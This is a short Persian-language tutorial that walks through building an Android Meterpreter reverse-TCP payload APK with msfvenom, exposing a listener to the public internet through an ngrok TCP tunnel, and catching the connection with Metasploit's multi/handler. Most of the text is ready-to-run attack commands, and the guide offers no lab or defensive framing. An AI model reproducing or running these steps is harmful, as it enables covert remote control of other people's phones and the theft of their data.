سلام امروز میخوام بهتون یاد بدم که چطوری می تونید از reverse tcp از راه دور و با ایپی عمومی استفاده کنید
اول همه ngrok دانلود کنید و در سایتش اکانت بسازید
فایل ngrok.exe رو استخراج کنید
به لینک زیر کلیک کنید و کد token خودتون رو کپی کنید
به جایی که فایل رو استخراخ کردید برید و یه ترمینال باز کنید
ngrok authtoken <authkey>
و دستور بالا رو با token اجرا کنید
و برای باز کردن یک پورت به صورت پابلیک بنویسید
ngrok tcp <port>
و حالا بصورت زیر پیلود رو برای اندروید بسازید
msfvenom -p android/meterpreter/reverse_tcp LHOST=<payload ip> LPORT=<payload port> R > android-shell-darmy.apk
حالا میریم روی قسمت listener
use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST localhost
برای lhost اینجا می نویسیم localhost تا اطلاعات پیلود برای localhost ارسال بشه
set LPORT port
به جای پورت هر پورتی که برنامه ngrok جلوی لوکال هاست زده وارد کنید
و در بایان اجرا کنید